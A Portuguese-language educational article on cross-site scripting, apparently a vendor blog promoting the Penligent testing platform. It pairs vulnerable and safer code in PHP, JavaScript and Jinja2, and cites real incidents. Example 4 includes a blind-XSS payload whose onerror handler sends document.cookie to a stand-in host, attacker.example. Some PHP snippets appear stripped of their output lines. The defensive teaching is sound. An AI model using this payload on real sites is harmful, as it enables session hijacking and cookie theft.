XSS (Cross-Site Scripting) é uma vulnerabilidade da Web em que um invasor injeta código malicioso, geralmente JavaScript, em páginas da Web que outros usuários visualizam. O código injetado é executado no navegador da vítima no contexto do site confiável, permitindo que os invasores roubem cookies, sequestrem sessões, extraiam dados ou executem ações em nome dos usuários.
Por que o XSS continua sendo um problema global em 2025
O XSS persiste como uma das vulnerabilidades mais comuns da Web há décadas. Ela se tornou amplamente conhecida no final dos anos 90 com o aumento do conteúdo dinâmico e das entradas geradas pelo usuário nas plataformas da Web.
Pesquisas recentes confirmam que o XSS continua a afetar os aplicativos da Web, especialmente com estruturas modernas, APIs, renderização dinâmica, conteúdo de texto rico e integrações de terceiros.
Qualquer aplicativo da Web que aceite entrada de usuário - de comentários a APIs JSON - sem a devida sanitização ou codificação de saída permanece em risco.
Exemplos de violações de XSS no mundo real
ERPNext / Frappe - CVE-2025-56379 XSS armazenado
Em 2025, o ERPNext/Frappe divulgou uma vulnerabilidade XSS armazenada em seu módulo Blog (versões 15.67.0 / 15.72.4). Os usuários autenticados podiam injetar HTML/JavaScript malicioso no módulo conteúdo campo. A carga útil era executada nos navegadores dos usuários que visualizavam a postagem do blog, com risco de sequestro de sessão e roubo de dados.
Isso demonstra que mesmo plataformas de código aberto bem mantidas são vulneráveis se o HTML gerado pelo usuário for renderizado sem a devida higienização.
Caso histórico: Samy Worm no MySpace (2005)
O worm Samy explorou o XSS em perfis de usuários do MySpace. Ele se espalhou para mais de um milhão de perfis em 20 horas, demonstrando como o XSS pode se propagar rapidamente e sequestrar sessões de usuários.
Tipos de XSS e vetores de ataque
O XSS é apresentado em diversas variantes:
| Tipo | Descrição | Vetor de ataque típico |
|---|---|---|
| XSS refletido | A carga útil é refletida imediatamente da solicitação para a resposta | Parâmetros de URL, campos de pesquisa |
| XSS armazenado | A carga útil é armazenada no servidor e executada posteriormente | Comentários, blogs, perfis de usuários |
| XSS baseado em DOM | Os scripts do lado do cliente injetam conteúdo inseguro | Aplicativos de página única, hash de URL, modelos JS |
| XSS cego | A carga útil é executada sem feedback imediato | Painéis de administração, registros, e-mails |
Os ataques modernos também incluem cargas úteis poliglotas capazes de evitar sanitizadores e acionar condições XSS cegas. (arxiv.org)
Consequências dos ataques XSS
- Sequestro de sessão e sequestro de conta
- Ações não autorizadas / Representação de usuário
- Roubo de dados/exposição de informações confidenciais
- Defacement, phishing ou engenharia social
- Fornecimento persistente de malware
Até mesmo pequenos aplicativos da Web estão em risco se exibirem a entrada do usuário de forma insegura.
Exemplos de ataque e defesa
Exemplo 1 - XSS refletido (PHP + HTML)
Vulnerável:
php
<?php $search = $_GET['q'] ?? '';?><html> <body> <p>Resultados da pesquisa:</p> </body> </html>
Versão mais segura:
php
<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>Resultados da pesquisa:</p> </body> </html>
Exemplo 2 - XSS armazenado em comentários (JavaScript + HTML)
Renderização vulnerável:
html
<div class="comments"><p class="user-comment">{{comment_from_db}}</p></div>
Renderização segura com DOMPurify:
html
<script src="<https://unpkg.com/[email protected]/dist/purify.min.js>"></script><script> const raw = userCommentFromServer;const clean = DOMPurify.sanitize(raw);document.querySelector('.user-comment').innerHTML = clean;</script>
Exemplo 3 - XSS baseado em DOM via URL
Vulnerável:
javascript
const msg = document.getElementById('msg'); msg.innerHTML = location.hash.substring(1);
Seguro:
javascript
const msg = document.getElementById('msg'); msg.textContent = location.hash.substring(1);
Exemplo 4 - XSS cego/atrasado
Carga útil do ataque:
html
<img src="x" onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">
Defesa:
- Sanitize a entrada de HTML do usuário no lado do servidor
- Aplicar uma lista de permissões estrita de tags/atributos HTML
- Aplicar a política de segurança de conteúdo (CSP)
pgsql
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
Exemplo 5 - Injeção de API JSON (JavaScript)
Vulnerável:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username; });
Seguro:
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username; });
Exemplo 6 - Injeção de modelo (Python / Jinja2)
Vulnerável:
python
from jinja2 import Template user_input = "{{7*7}}"tpl = Template(user_input)print(tpl.render())
Seguro:
python
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() tpl = env.from_string(user_input)print(tpl.render())
Lições do mundo real do GitHub (2018)
O GitHub tinha um XSS armazenado na renderização do Markdown. Os usuários podiam inserir código JS em arquivos README; qualquer visitante que abrisse a página do repositório executaria o código. O GitHub corrigiu o problema sanitizando a entrada e restringindo as tags HTML permitidas. (Segurança do GitHub)
Integração da prevenção de XSS em fluxos de trabalho modernos
- Codificação e sanitização de saída em todos os contextos: HTML, JS, CSS, URL
- Use higienizadores modernos: DOMPurify, bibliotecas de escape no lado do servidor, mecanismos de modelo com escape automático
- Aplicar CSPScripts em linha: impedem scripts em linha e restringem fontes de script
- Testes automatizados: análise estática, varredura dinâmica, fuzzing, testes cegos de XSS
- Testes de penetração manualValidação de vetores de injeção complexos ou de várias etapas
- Auditoria e monitoramentoRegistre entradas suspeitas, analise o conteúdo do administrador/terceiros, aplique revisões de código
Integração da Penligent para testes automatizados de XSS
As equipes de segurança modernas podem aproveitar plataformas inteligentes de testes de penetração, como Penligente para automatizar a detecção de XSS em vários contextos:
- Varredura contínua de vetores XSS refletidos, armazenados, DOM e cegos
- Injeção e análise automatizadas de cargas úteis
- Sugestões de relatórios e correções
- Integração com pipelines de CI/CD para fluxo de trabalho de DevSecOps
Com a Penligent, as equipes reduzem o esforço manual, melhoram a cobertura e garantem a proteção contínua contra ameaças XSS em constante evolução.
Resumo
- O XSS continua sendo uma das principais vulnerabilidades da Web, apesar de décadas de conscientização.
- A defesa requer medidas em várias camadas: codificação, sanitização, CSP, APIs seguras e testes contínuos.
- Os testes automatizados e manuais combinados oferecem proteção robusta, especialmente em aplicativos dinâmicos modernos.
- Plataformas inteligentes como Penligente pode aprimorar os fluxos de trabalho de segurança, detectando e atenuando o XSS de forma proativa.
Referências
Folha de dicas de prevenção de XSS da OWASP
MDN Web Docs - Visão geral do XSS
Portuguese 
English 
German 
French 
Spanish 
Japanese 
Korean 
Hindi 
Arabic 
Turkish 
Hebrew